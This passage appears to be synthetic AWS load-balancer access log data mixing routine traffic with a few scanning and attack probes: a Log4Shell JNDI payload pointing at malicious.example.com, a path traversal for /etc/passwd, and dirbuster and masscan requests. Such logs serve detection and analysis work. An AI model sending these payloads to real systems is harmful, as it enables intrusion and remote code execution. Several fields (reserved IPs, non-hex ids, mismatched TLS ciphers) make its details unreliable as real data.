HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723caed-fd5523a6f7544cd89713cad4" "prod-web-alb.example.com" "-" 1 2024-11-01T01:22:37.782129Z "forward" "-" "-" "10.0.239.12:443" "200" "-" "-" -https 2024-11-01T01:22:39.555023Z prod-api-alb 165.24.194.219:57103 10.0.159.233:443 0.028670 0.035905 0.076912 302 302 324 3362 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caef-1d61e58d68a147a39953b645" "prod-api-alb.example.com" "-" 5 2024-11-01T01:22:39.555023Z "forward" "-" "-" "10.0.159.233:443" "302" "-" "-" -https 2024-11-01T01:22:40.146300Z staging-alb 46.57.81.145:59500 190.178.150.74:443 0.050098 0.600015 0.087403 301 301 455 9956 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caf0-14a332bdb4b146dd9a39f3e2" "staging-alb.example.com" "-" 7 2024-11-01T01:22:40.146300Z "forward" "-" "-" "190.178.150.74:443" "301" "-" "-" -https 2024-11-01T01:22:40.722154Z prod-web-alb 231.29.134.208:52205 10.0.231.1:443 0.003704 0.403741 0.064304 302 302 858 8515 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caf0-38f500aad57a4b3c9d124dbb" "prod-web-alb.example.com" "-" 0 2024-11-01T01:22:40.722154Z "forward" "-" "-" "10.0.231.1:443" "302" "-" "-" -http 2024-11-01T01:22:40.923592Z staging-alb 63.109.224.134:19328 39.171.4.59:443 0.025521 0.422711 0.087517 302 302 654 10917 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caf0-303799b01c4e47ee87b6ce26" "staging-alb.example.com" "-" 0 2024-11-01T01:22:40.923592Z "forward" "-" "-" "39.171.4.59:443" "302" "-" "-" -http 2024-11-01T01:22:41.653347Z staging-alb 111.108.139.134:29585 140.153.180.138:443 0.011343 0.147941 0.080726 302 302 375 6041 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caf1-6b7c112271224f5286ae4174" "staging-alb.example.com" "-" 2 2024-11-01T01:22:41.653347Z "forward" "-" "-" "140.153.180.138:443" "302" "-" "-" -https 2024-11-01T01:22:42.625719Z prod-web-alb 178.211.209.44:63352 10.0.218.241:443 0.079538 0.207689 0.031232 404 404 979 5266 "GET /cart HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caf2-add50d48b5ee46db90735edd" "prod-web-alb.example.com" "-" 4 2024-11-01T01:22:42.625719Z "forward" "-" "-" "10.0.218.241:443" "404" "-" "-" -https 2024-11-01T01:22:43.631253Z prod-api-alb 251.106.70.28:48719 10.0.57.194:443 0.076071 0.168651 0.048089 404 404 18 14431 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caf3-27c7ddf0594145679406a50e" "prod-api-alb.example.com" "-" 3 2024-11-01T01:22:43.631253Z "forward" "-" "-" "10.0.57.194:443" "404" "-" "-" -https 2024-11-01T01:22:44.066182Z prod-api-alb 96.167.153.67:23803 10.0.79.44:443 0.073964 0.492062 0.016996 200 200 586 14847 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723caf4-ed2c3eba18a641d9aae0db3b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:22:44.066182Z "forward" "-" "-" "10.0.79.44:443" "200" "-" "-" -http 2024-11-01T01:22:44.590408Z staging-alb 133.44.219.82:27943 81.171.131.229:443 0.146640 0.645313 0.009535 200 200 531 5015 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caf4-a71278c894fd4a45ba4b4535" "staging-alb.example.com" "-" 10 2024-11-01T01:22:44.590408Z "forward" "-" "-" "81.171.131.229:443" "200" "-" "-" -https 2024-11-01T01:22:46.296971Z staging-alb 144.121.101.4:35333 253.247.89.185:443 0.023499 0.252025 0.047716 301 301 125 13312 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caf6-ae0c9e18ca9646f0bc27d7f9" "-" "-" 9 2024-11-01T01:22:46.296971Z "forward" "-" "-" "253.247.89.185:443" "301" "-" "-" -http 2024-11-01T01:22:46.813278Z staging-alb 7.23.22.23:44777 200.177.248.50:80 0.092277 0.364696 0.022599 302 302 157 2576 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caf6-f5b89b33ece84c69aa1248a6" "staging-alb.example.com" "-" 8 2024-11-01T01:22:46.813278Z "forward" "-" "-" "200.177.248.50:80" "302" "-" "-" -https 2024-11-01T01:22:47.952884Z prod-web-alb 31.92.164.16:53610 10.0.27.5:443 0.008920 0.364553 0.047467 200 200 756 7392 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caf7-b20ce9b867f748e495f4805e" "prod-web-alb.example.com" "-" 9 2024-11-01T01:22:47.952884Z "forward" "-" "-" "10.0.27.5:443" "200" "-" "-" -https 2024-11-01T01:22:48.905614Z staging-alb 47.84.13.103:52526 99.104.5.2:443 0.134596 0.676748 0.053658 200 200 295 8211 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723caf8-1b8d0432d24340208d963693" "staging-alb.example.com" "-" 5 2024-11-01T01:22:48.905614Z "forward" "-" "-" "99.104.5.2:443" "200" "-" "-" -https 2024-11-01T01:22:49.053819Z prod-api-alb 172.93.58.202:32878 10.0.217.116:443 0.022212 0.064794 0.049631 200 200 585 2022 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723caf9-0abe3741c2754cb9851ac967" "prod-api-alb.example.com" "-" 9 2024-11-01T01:22:49.053819Z "forward" "-" "-" "10.0.217.116:443" "200" "-" "-" -https 2024-11-01T01:22:50.824575Z prod-api-alb 198.52.182.28:30692 10.0.238.205:443 0.034056 0.178411 0.076838 200 200 986 5459 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cafa-bc052264b8604cd4847e5fcc" "prod-api-alb.example.com" "-" 7 2024-11-01T01:22:50.824575Z "forward" "-" "-" "10.0.238.205:443" "200" "-" "-" -https 2024-11-01T01:22:52.261647Z prod-web-alb 175.92.52.21:44045 10.0.9.236:443 0.012809 0.431117 0.085265 404 404 555 2132 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cafc-23b40cc64a894d5ab3f6d6df" "prod-web-alb.example.com" "-" 8 2024-11-01T01:22:52.261647Z "forward" "-" "-" "10.0.9.236:443" "404" "-" "-" -https 2024-11-01T01:22:53.410124Z prod-web-alb 180.63.157.65:33487 10.0.201.22:443 0.016393 0.351331 0.066214 200 200 264 11955 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cafd-9c8c6204a3504762b956fb47" "prod-web-alb.example.com" "-" 4 2024-11-01T01:22:53.410124Z "forward" "-" "-" "10.0.201.22:443" "200" "-" "-" -https 2024-11-01T01:22:54.450451Z prod-api-alb 45.155.205.102:51729 10.0.76.139:443 0.082028 0.269026 0.044861 301 301 457 9159 "GET /config.php~ HTTP/1.1" "dirbuster/1.0-RC1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cafe-93a144bf9a634f379bae2d5d" "-" "-" 4 2024-11-01T01:22:54.450451Z "forward" "-" "-" "10.0.76.139:443" "301" "-" "-" -https 2024-11-01T01:22:54.680980Z prod-api-alb 72.17.42.85:28022 10.0.101.254:443 0.004601 0.413383 0.079688 404 404 16 8691 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cafe-7c2eb5ee05d14406acf0e822" "prod-api-alb.example.com" "-" 1 2024-11-01T01:22:54.680980Z "forward" "-" "-" "10.0.101.254:443" "404" "-" "-" -https 2024-11-01T01:22:55.390823Z prod-web-alb 224.143.0.31:44261 10.0.248.235:443 0.024473 0.029669 0.034592 404 404 250 12332 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723caff-ad8d85f105cf4fdd8a270f55" "prod-web-alb.example.com" "-" 2 2024-11-01T01:22:55.390823Z "forward" "-" "-" "10.0.248.235:443" "404" "-" "-" -http 2024-11-01T01:22:55.952235Z staging-alb 137.208.137.46:43140 136.24.124.69:443 0.054377 0.278386 0.136202 200 200 337 9091 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723caff-2aaa15665e604195b2fe1728" "staging-alb.example.com" "-" 3 2024-11-01T01:22:55.952235Z "forward" "-" "-" "136.24.124.69:443" "200" "-" "-" -https 2024-11-01T01:22:57.636346Z staging-alb 250.225.99.143:35237 110.59.215.237:8080 0.022213 0.258869 0.062072 200 200 796 12912 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb01-03870dd306a046fc8b449cb9" "staging-alb.example.com" "-" 5 2024-11-01T01:22:57.636346Z "forward" "-" "-" "110.59.215.237:8080" "200" "-" "-" -http 2024-11-01T01:22:57.782843Z staging-alb 78.208.5.6:57465 94.148.86.139:80 0.094782 0.713170 0.079366 200 200 901 795 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb01-b6537c1b02824e708f89a827" "staging-alb.example.com" "-" 7 2024-11-01T01:22:57.782843Z "forward" "-" "-" "94.148.86.139:80" "200" "-" "-" -https 2024-11-01T01:22:58.829186Z prod-api-alb 193.27.228.71:42238 10.0.85.150:443 0.040205 0.172252 0.046188 403 403 677 10659 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb02-09b7d4df20b3443f8af592a0" "-" "-" 2 2024-11-01T01:22:58.829186Z "forward" "-" "-" "10.0.85.150:443" "403" "-" "-" -https 2024-11-01T01:22:59.266905Z prod-api-alb 170.68.241.199:42379 10.0.229.185:443 0.050340 0.169634 0.061049 200 200 135 13121 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb03-882d3c2dd32c4056a5c21f29" "prod-api-alb.example.com" "-" 2 2024-11-01T01:22:59.266905Z "forward" "-" "-" "10.0.229.185:443" "200" "-" "-" -https 2024-11-01T01:23:00.096636Z prod-api-alb 2.141.223.127:14948 10.0.62.139:443 0.001492 0.188706 0.024811 404 404 934 3784 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb04-579ecc6df6534b1eb8ec98f0" "prod-api-alb.example.com" "-" 2 2024-11-01T01:23:00.096636Z "forward" "-" "-" "10.0.62.139:443" "404" "-" "-" -https 2024-11-01T01:23:01.449369Z prod-api-alb 254.204.134.167:10673 10.0.252.243:443 0.039160 0.317564 0.000156 200 200 907 12810 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb05-859fe7e5d9c54e6db776e82b" "prod-api-alb.example.com" "-" 10 2024-11-01T01:23:01.449369Z "forward" "-" "-" "10.0.252.243:443" "200" "-" "-" -https 2024-11-01T01:23:03.335865Z prod-api-alb 32.132.240.42:13080 10.0.219.191:443 0.096876 0.125232 0.038737 200 200 780 6197 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb07-dc466b77390d44d4b1a7ebbf" "prod-api-alb.example.com" "-" 7 2024-11-01T01:23:03.335865Z "forward" "-" "-" "10.0.219.191:443" "200" "-" "-" -https 2024-11-01T01:23:05.029975Z staging-alb 179.91.161.31:60635 21.251.72.194:443 0.077026 0.366603 0.088233 301 301 649 12341 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb09-5b2e6404bb104e86b57a8ba5" "staging-alb.example.com" "-" 4 2024-11-01T01:23:05.029975Z "forward" "-" "-" "21.251.72.194:443" "301" "-" "-" -https 2024-11-01T01:23:06.825917Z staging-alb 212.5.188.182:46652 232.19.149.27:443 0.112754 0.146685 0.072558 200 200 55 14551 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb0a-a39660bff1b64e8b81db8fd6" "staging-alb.example.com" "-" 8 2024-11-01T01:23:06.825917Z "forward" "-" "-" "232.19.149.27:443" "200" "-" "-" -https 2024-11-01T01:23:08.778480Z prod-api-alb 206.136.148.132:38470 10.0.214.246:443 0.068501 0.073568 0.045506 302 302 798 9349 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb0c-764eeb375fab49c493d6cde1" "-" "-" 6 2024-11-01T01:23:08.778480Z "forward" "-" "-" "10.0.214.246:443" "302" "-" "-" -https 2024-11-01T01:23:10.230420Z prod-api-alb 102.92.215.245:50398 10.0.181.228:443 0.085822 0.376852 0.063010 302 302 28 1440 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb0e-e826eee6d7324e0fb94bdb44" "prod-api-alb.example.com" "-" 7 2024-11-01T01:23:10.230420Z "forward" "-" "-" "10.0.181.228:443" "302" "-" "-" -https 2024-11-01T01:23:11.900112Z prod-web-alb 185.181.68.44:42815 10.0.93.155:443 0.038147 0.113207 0.013475 404 404 300 13466 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb0f-861e8d364a6c4425ba7b6481" "-" "-" 3 2024-11-01T01:23:11.900112Z "forward" "-" "-" "10.0.93.155:443" "404" "-" "-" -http 2024-11-01T01:23:12.677806Z staging-alb 200.24.59.142:62809 43.129.182.164:80 0.001117 0.198531 0.129634 200 200 244 5309 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb10-7ee5c540c633423c92288500" "staging-alb.example.com" "-" 9 2024-11-01T01:23:12.677806Z "forward" "-" "-" "43.129.182.164:80" "200" "-" "-" -https 2024-11-01T01:23:13.208250Z staging-alb 191.49.59.22:47135 91.9.65.11:80 0.140220 0.217550 0.079036 200 200 105 14655 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb11-d9a975988f004da9a129727e" "staging-alb.example.com" "-" 10 2024-11-01T01:23:13.208250Z "forward" "-" "-" "91.9.65.11:80" "200" "-" "-" -https 2024-11-01T01:23:13.621396Z prod-web-alb 50.79.12.255:59426 10.0.243.177:443 0.080812 0.074940 0.073714 200 200 464 10748 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cb11-84fa41cabdba4b7e88df4a71" "prod-web-alb.example.com" "-" 3 2024-11-01T01:23:13.621396Z "forward" "-" "-" "10.0.243.177:443" "200" "-" "-" -https 2024-11-01T01:23:15.489132Z prod-api-alb 51.160.224.144:53984 10.0.83.72:443 0.034979 0.069089 0.022460 200 200 600 11052 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb13-9c44b6a8dc4946fa871ced92" "prod-api-alb.example.com" "-" 3 2024-11-01T01:23:15.489132Z "forward" "-" "-" "10.0.83.72:443" "200" "-" "-" -https 2024-11-01T01:23:16.607371Z prod-api-alb 154.32.145.1:42440 10.0.210.236:443 0.051712 0.427754 0.093704 200 200 296 13728 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb14-e6569fe5d93f4789a146f1b1" "prod-api-alb.example.com" "-" 10 2024-11-01T01:23:16.607371Z "forward" "-" "-" "10.0.210.236:443" "200" "-" "-" -https 2024-11-01T01:23:17.597887Z prod-api-alb 202.110.48.32:39149 10.0.211.32:443 0.071485 0.168907 0.064992 200 200 35 8208 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb15-c07cd6d28af5437680071da8" "prod-api-alb.example.com" "-" 4 2024-11-01T01:23:17.597887Z "forward" "-" "-" "10.0.211.32:443" "200" "-" "-" -http 2024-11-01T01:23:17.923890Z staging-alb 128.156.82.154:49833 103.221.164.226:443 0.131368 0.306725 0.055686 301 301 519 9365 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb15-435cc65ba6bf43fe97a9465d" "staging-alb.example.com" "-" 9 2024-11-01T01:23:17.923890Z "forward" "-" "-" "103.221.164.226:443" "301" "-" "-" -https 2024-11-01T01:23:18.138685Z prod-api-alb 195.52.58.209:14041 10.0.128.21:443 0.064682 0.294603 0.018606 301 301 703 4645 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb16-1999ec41fd614042abd4a949" "prod-api-alb.example.com" "-" 8 2024-11-01T01:23:18.138685Z "forward" "-" "-" "10.0.128.21:443" "301" "-" "-" -https 2024-11-01T01:23:18.303747Z prod-web-alb 176.82.35.123:16410 10.0.186.7:443 0.025919 0.270092 0.092595 200 200 686 1151 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cb16-970618fda2394b92bcfb87a7" "prod-web-alb.example.com" "-" 4 2024-11-01T01:23:18.303747Z "forward" "-" "-" "10.0.186.7:443" "200" "-" "-" -https 2024-11-01T01:23:19.423675Z prod-api-alb 7.5.137.165:44926 10.0.50.100:443 0.044282 0.048393 0.004678 302 302 526 4610 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cb17-db7d8d7baebd457aa81b103a" "prod-api-alb.example.com" "-" 6 2024-11-01T01:23:19.423675Z "forward" "-" "-" "10.0.50.100:443" "302" "-" "-" -https 2024-11-01T01:23:20.851505Z staging-alb 46.49.91.173:42884 201.160.242.72:8080 0.140279 0.067589 0.114714 301 301 616 7291 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cb18-6a4165d1e2e14e999cd342ed" "staging-alb.example.com" "-" 2 2024-11-01T01:23:20.851505Z "forward" "-" "-" "201.160.242.72:8080" "301" "-" "-" -http 2024-11-01T01:23:22.826780Z staging-alb 6.227.227.233:59607 217.24.93.85:8080 0.145452 0.416217 0.069709 302 302 25 8069 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb1a-f6bb920b04b34703b795a462" "staging-alb.example.com" "-" 4 2024-11-01T01:23:22.826780Z "forward" "-" "-" "217.24.93.85:8080" "302" "-" "-" -https 2024-11-01T01:23:23.009865Z prod-api-alb 89.116.188.85:54767 10.0.229.207:443 0.090394 0.493336 0.015056 302 302 482 358 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cb1b-be3a54670dac42a18eb320d6" "prod-api-alb.example.com" "-" 4 2024-11-01T01:23:23.009865Z "forward" "-" "-" "10.0.229.207:443" "302" "-" "-" -https 2024-11-01T01:23:24.178920Z staging-alb 15.85.22.119:12594 213.36.106.69:443 0.111136 0.580624 0.074671 200 200 599 3006 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cb1c-78bb761b173f46568d054db4" "staging-alb.example.com" "-" 3 2024-11-01T01:23:24.178920Z "forward" "-" "-" "213.36.106.69:443" "200" "-" "-" -https 2024-11-01T01:23:25.502395Z prod-web-alb 185.181.25.65:25292 10.0.147.9:443 0.099018 0.167993 0.040859 302 302 14 8891 "GET /admin HTTP/1.1" "masscan/1.3.2" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 